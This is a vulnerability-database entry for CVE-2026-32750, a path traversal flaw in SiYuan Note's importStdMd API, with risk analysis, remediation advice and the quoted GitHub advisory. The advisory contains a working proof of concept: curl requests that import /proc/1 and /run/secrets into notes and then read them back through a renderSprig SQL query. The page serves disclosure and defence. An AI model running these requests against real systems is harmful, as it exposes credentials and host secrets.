Docker
CVE-2026-32750
MEDIUM
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents significant real-world risk despite the CVSS 6.8 score (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N), which appropriately reflects that exploitation requires high privileges (admin). However, multiple factors elevate practical risk: a proof-of-concept exploit is publicly available via the GitHub advisory, the attack is trivially automatable through HTTP API calls, the barrier to exploitation is low (standard curl requests), and the data exfiltration is permanent and survives application restarts. The SSVC framework would classify this as high priority because exploitation is proof-of-concept-available, the technical impact is high (confidentiality breach with scope change to other users), and the attack is fully automatable. Organizations using SiYuan in multi-user environments with administrative accounts face elevated risk if administrators are compromised or if a malicious administrator exists. The chaining with renderSprig SQL injection further amplifies risk by enabling non-admin users to access compromised data. The absence of a public EPSS score prevents quantitative exploitation probability assessment, but the simplicity and availability of working exploit code suggests moderate-to-high real-world exploitation likelihood. |
| Exploit ScenarioDerived | A malicious or compromised SiYuan administrator executes three HTTP POST requests to the /api/import/importStdMd endpoint: first importing /proc/1/ (containing process environment variables and command-line arguments), second importing /run/secrets/ (containing containerized application secrets), and third importing /home/ directories (containing user credentials and SSH keys). The imported files are permanently stored as searchable notes in the SQLite database. Subsequently, a non-admin workspace user with publish-service-reader permissions leverages a separate renderSprig SQL injection vulnerability to execute SELECT queries against the blocks table, exfiltrating all imported secrets without requiring administrative privileges or triggering additional access controls. The attack is fully automatable and publicly documented via proof-of-concept code. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 16, 2026
SiYuan Note contains an unrestricted path traversal vulnerability in the POST /api/import/importStdMd endpoint that allows authenticated administrators to recursively import arbitrary files from the host filesystem into the workspace database without any validation or blocklisting. Affected versions of SiYuan (pkg:go/github.com_siyuan-note_siyuan) allow admin users to permanently store sensitive files such as /proc/, /etc/, /run/secrets/, and other system directories as searchable note content, making them accessible to other workspace users including those with limited privileges. A proof-of-concept has been published demonstrating import of /proc/1/ and /run/secrets/, and when chained with separate SQL injection vulnerabilities in the renderSprig template function, non-admin users can retrieve imported secrets without additional privileges.
RemediationAI
Immediately upgrade SiYuan Note to the patched version indicated in the official GitHub security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-rjhh-m223-9qqv. Until patching is possible, implement network-level access controls restricting the /api/import/importStdMd endpoint to trusted administrative networks only, preferably enforcing authentication via reverse proxy with certificate pinning and TLS 1.3. Consider implementing application-level access controls to restrict the importStdMd endpoint to a minimal set of trusted administrators or disable the endpoint entirely if not in active use. Review workspace database contents (blocks table) for any imported content from sensitive paths such as /proc/, /etc/, /run/secrets/, or /home/ directories and manually purge compromised data. Monitor access logs for suspicious importStdMd requests with unusual localPath values pointing to system directories.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the Go-based SiYuan Note application (github.com/siyuan-note/siyuan) within the kernel/api/import.go file, specifically the importStdMd HTTP handler function. The affected code passes the user-supplied localPath parameter directly to model.ImportFromLocalPath without any path validation, sanitization, or blocklist enforcement. The ImportFromLocalPath function (kernel/model/import.go:784) internally uses filelock.Walk to recursively traverse the entire directory tree at the supplied path, reading file contents and converting them into .sy note format before permanently persisting them to the workspace SQLite database. Unlike the globalCopyFiles function which implements a blocklist of dangerous paths, importStdMd has zero restrictions. This represents a classic Path Traversal (CWE-22) vulnerability that bypasses intended access controls by allowing direct filesystem enumeration and data exfiltration through an administrative API endpoint.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string) // no validation whatsoever
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
// ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree
// and writes every file's content into workspace SQLite as note blocks
}model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
// ...
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
// reads file content → converts to .sy note → stores in database
})
}Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig): Admin imports sensitive files → content stored in blocks table → non-admin user queries via querySQL through renderSprig.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Create a notebook to import into
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
# Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
# Step 3: Import Docker secrets (if present)
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
# Step 4: Any authenticated user (non-admin) queries the imported secrets
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.
Executive ViewAI
CVE-2026-32750 presents notable security risk, a path traversal vulnerability rated CVSS 6.8. This could allow unauthorized file access. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: restrict file access via WAF, implement allowlists.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Affected Products (CPE)GitHub Advisory
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
GHSA-rjhh-m223-9qqv
NVD
CVE.org
EPSS
VulDB
Exploit-DB